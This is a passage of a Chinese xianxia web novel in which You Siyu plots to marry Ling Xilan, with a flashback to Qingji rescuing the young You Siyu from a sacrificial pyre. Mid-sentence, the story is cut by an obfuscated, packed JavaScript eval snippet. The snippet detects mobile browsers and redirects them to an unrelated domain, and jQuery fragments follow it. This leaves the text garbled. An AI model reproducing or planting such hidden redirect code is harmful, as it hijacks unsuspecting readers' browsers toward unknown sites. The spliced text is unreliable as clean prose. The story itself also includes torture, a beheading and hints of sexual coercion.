“怎么可能?!”阿佩残存的魂体在储物空间内剧烈震颤,发出扭曲的尖啸:
“不会的、不会的,你绝对不可能是那个人!”
以传闻中那位的残暴嗜血、横行无忌的风格,自己这般挑衅,早就已经魂飞魄散,绝无在此苟延残喘的可能。
然而,凌夕岚对他的愤怒与咆哮置若罔闻。
死寂般的沉默,比任何酷刑都更让阿佩感到恐慌和无力。
“不许不理我,凌夕岚!你这该死的家伙,我要杀了你、杀了你、杀了你……”
疯狂的诅咒徒劳地回荡在狭小的空间里。
这副癫狂绝望的劲头,倒是让凌夕岚恍惚间回想起了一些陈年往事。
——
裴明妄,这个名字本身就是一个令人闻风丧胆的符号。
在前任魔尊被清霁斩杀后,如同暗夜中最浓稠的阴影,悄然凝聚,继而以绝对强势的姿态横空出世。
无人知道他的真实来历,只知道那碾压级的恐怖实力与雷霆万钧的手段。
魔界十大护法,其中九位曾桀骜不驯、割据一方。却都在极短的时间内,或是臣服,或是湮灭。
唯有第十位护法,至今下落不明。有人猜测他早已悄无声息地陨落,有人则怀疑他是否被迫陷入了永无止境的沉眠。
成为了魔界一则讳莫如深的传说。
有隐秘的消息称,这位新魔尊,实则是映天宗那位早已叛出宗门的首席弟子。
因为长期被清霁的光芒所掩盖,道心失衡、心魔丛生,最终堕入万劫不复的深渊。誓要向昔日同门,尤其是夺走了他一切荣耀的清霁复仇。
然而离奇的是,对于这些甚嚣尘上的流言。两位处于风暴中心的当事人,却极有默契地选择了缄默,从不予回应。
就在外界以为这场无声的对峙会永远持续下去时,清霁率先发难,斩断了裴明妄一臂。
裴明妄也不甘示弱。在清霁不染尘垢的身躯上,留下了一道永世难以磨灭的黑暗烙印,如同最深刻的诅咒。
经此一役,这对宿命之敌的声名彻底响彻三界。
引来各界人士议论纷纷。
有人激情澎湃地争论他们之间究竟孰强孰弱。引经据典,撕得昏天暗地,难舍难分。
(这是纯正的战力党)
有人则试图挖掘他们背后可能存在的爱恨纠葛,编织出种种恨海情天、缠绵悱恻、荡气回肠的爱情故事,嗑得如痴如醉。
(这是混邪的产品人)
更有甚者,敏锐地捕捉到了其中蕴含的巨大商机。
将他们的形象与事迹进行二次加工,写成话本,绘成图像,甚至编成曲艺,在酒楼茶馆间传唱,赚得盆满钵满。
(这是进击的事业狂)
只是,这些作品基本都框定在同样的背景与设定之间,看多了未免感到乏味。
似乎少了些脱离现实、直触核心的乐趣。
凌夕岚恍然想道,指尖无意识地缠绕着腕间的绯色丝绸。
或许,等此间事了,彻底安稳下来后。
他也可以去实现一些当年就隐约萌生,却未曾付诸行动的,更有趣的事情了。
——
殿外阴影蠕动,一道几乎与黑暗融为一体的身影悄然显现,单膝跪地。
“肆郁公子。”暗卫统领的声音低沉平稳,带着一丝不易察觉的困惑,“属下愚钝,您何苦用这种方式……亲自拷问夕岚公子?”
“若交由属下处置,属下有无数种方法能撬开他的嘴,保证令他那张巧嘴再也吐不出半句虚言。”
尤肆郁倚在铺着雪狐皮的软榻上,手执细毫笔,蘸着殷红如血的丹蔻,专注地涂抹着自己莹白的指甲。
烛光下,那红色妖异得惊心。
闻言,他甚至连头都没抬,只是唇角勾起一抹漫不经心的弧度:“那未免,也太无趣了。”
“零。我说过很多次,重要的并非结果,而是享受其中的过程。”
“看他挣扎,看他沉沦,看那双漂亮的眼睛里因我而弥漫起水汽与恐惧……这其中的乐趣,岂是简单粗暴的刑讯所能比拟的?”
零沉默一瞬。他是最初追随尤肆郁的人,代号零是荣誉,亦是烙印。
但也正因如此,他有时候过分敢于直言。
“即便如此,也没必要与他成婚啊?”
零的语气难得带上了些许急切:“莫非公子当真对他……之前在春景酒楼也是如此,您看他看得如痴如迷,甚至连遇刺的时候都忘了召唤暗卫。”
“零。”尤肆郁的动作骤然停顿,声音里的慵懒瞬间褪去,染上一层冰冷的阴鸷:“我说过了,没有召唤你的时候,你应该尽忠职守,而不是事后在这里质问我。”
殿内温暖的空气仿佛瞬间冻结,无形的压力弥漫开来。零猛地将头埋得更低:“属下失言!请公子责罚!”
尤肆郁脸上的阴冷之色渐渐收敛,如同冰面融化,重新变回那副妖娆媚人的模样,仿佛方才的凌厉只是错觉。
他垂眸,继续端详着自己完美无瑕的指甲,声音恢复了平淡:“下去吧。成婚之事,我自有主张。你看好他便是,不容有任何闪失。”
“是。”零应道,却并未立刻离去。他犹豫片刻,还是问道:
“属下还有最后一问。您对他如此特别,甚至不惜以婚姻为锁链。是否是因为,他隐约有几分,清霁阁下的风姿?”
尤肆郁唇边晕开一抹冰冷而讽刺的笑意。他终于抬起眼,凤眸中光华流转,却无端令人心悸:“他算什么东西?也配与清霁阁下相提并论?”
“不过是一个尚且算得上合我心意,有趣又耐玩的宠物罢了。”
他的语气轻慢得像是在评价一件可供观赏的器物:
“所谓成婚。一来是为了名正言顺地将这可疑的小家伙拴在身边,弄清他的底细和目的;二来,也好堵住尤家那些老东西的嘴,省得他们整日琢磨着往我身边塞些根本入不了口的歪瓜裂枣。”
尤肆郁的出身,是长鸣镇无人不知的禁忌。
他的亲生父母不详,诞生之时便身带异象,被家族视作灾厄,弃于偏远的长鸣镇自生自灭。
尤肆郁天生一头霜雪般的白发。这般发色若生于得道仙人身上,会被赞誉一声仙风道骨。
但生在他这个【灾星】身上,便成了妖孽邪祟的铁证,是洗刷不尽的原罪。
即便如此,那些冠冕堂皇的族人依旧不愿彻底放过他。
尤肆郁永远记得十二岁那年。灾荒连年,饥馑遍地。镇中耆老与尤家派来的管事商议,竟决意拿他这【灾星】祭祀,以平息天怒。
彼时尚未长开的少年被粗暴地拖上祭坛,强行按在冰冷的火刑架上。
锈迹斑斑的铁钉残忍地贯穿了他的肩胛骨,鲜血浸透了残破的麻衣,混着污泥、蜿蜒而下。
尤肆郁披头散发、满身血污,如同一株开在炼狱边缘的曼珠沙华,呈现出凄厉决绝的艳丽。
他咬碎了牙,睁大了一双盈满仇恨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262149|182102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的赤瞳,死死盯着台下每一张或狂热、或麻木、或畏惧的脸。
想要将这些面孔深深镌刻入灵魂深处,便是化作怨鬼,也要一一索命。
就在祭司将火把投向柴堆,火星即将燎燃他衣角的刹那。
一道玄色身影,携无匹剑罡自天而降!
剑光一闪,如裂帛,如破晓。
清脆的金属断裂声响起,束缚尤肆郁的镣铐与贯穿他骨肉的铁钉竟被齐齐斩断。
他踉跄着跌落在地,与此同时,身后那象征着他无尽屈辱与苦难的火刑架,也随之轰然崩塌,彻底碎裂成无数木屑残渣。
就如同这些年压在他心头、几乎令他窒息的阴霾与绝望。在此刻,被这惊天一剑,尽数斩得灰飞烟灭。
那人不知道从哪里掏出来了个白瓷瓶,将珍贵的灵髓液不要钱似的倒在了尤肆郁身上,像是浇灌一朵即将枯萎的花儿。
原本穿心刺骨的剧痛,被春风化雨的药效疗愈。
尤肆郁强撑着昏昏晃晃的视线,努力辨析着眼前的场景。
清霁逆光而立,身量看似单薄,甚至比长期营养不良的尤肆郁还要清瘦几分。
面上轻纱拂动,看不清容颜,唯有一双沉静的眼,无悲无喜。
他的目光并不凌厉,却带着一种洞穿人心的力量。
“天道不仁,流年不利。为官为宰者,更应勤勉政事,实事求是解决民生疾苦。”
那声音清冷平稳,清晰地传入在场每一个人耳中:“而非擅启邪祭,将天灾人祸之罪责,推诿于无力反抗之身。”
“滴答”。
一滴温热、粘稠的液体,落在了尤肆郁苍白染血的脸颊上。
不是他的,也不是清霁的。
而是……
“啊,县令大人!”围观的人群骤然爆发出惊恐欲绝的尖叫和躁乱。
尤肆郁认得那颗头颅。
正是那位与尤家勾结、提出以他祭天、企图借此讨好尤家并转移民愤的县令。
清霁提着滴血的首级,姿态随意如拈花折草。
“始作俑者,已行赎罪。”他目光扫过噤若寒蝉的众人,“现在,可还有人欲续此祭?”
万众俯首,惶恐屏息。
唯有倒在地上的尤肆郁,用尽最后一丝力气,努力地、固执地仰起脸。
血污模糊了他的视线,意识逐渐涣散,他却固执地、贪婪地想要将那道身影,深深烙进心底最深处。
凌夕岚的身形轮廓,确实与记忆中那道救赎的身影有着几分惊人的神似。
也正因如此,才会屡次三番令尤肆郁在某个瞬间产生恍惚的错觉。
但是,替代品终归是替代品。
清霁在尤肆郁心中的形象,是云端皎月,是山巅霜雪,神圣不可侵犯。
那个人就应该永远端坐云端、清冷孤傲、俯瞰众生,而不该是……不该是像凌夕岚那样,无助地、脆弱地被他压在身下,任由丝绸束缚,肆意折辱欺凌的模样。
那是一种对神明的亵渎。
“属下明白了。”零不再多言,身影如同墨汁滴入静水,悄然无声地融入殿角的阴影之中,消失不见。
当寂静奢华的内殿终于只剩下尤肆郁一人时,他才如释重负般瘫软下来,指尖几不可察地轻颤着。
过了良久,尤肆郁缓缓起身,赤足踩在冰凉光滑的地板上,走向殿内一堵看似毫无缝隙的墙壁。
伴随着一声机括轻响,墙壁悄然滑开,露出一间隐秘的密室。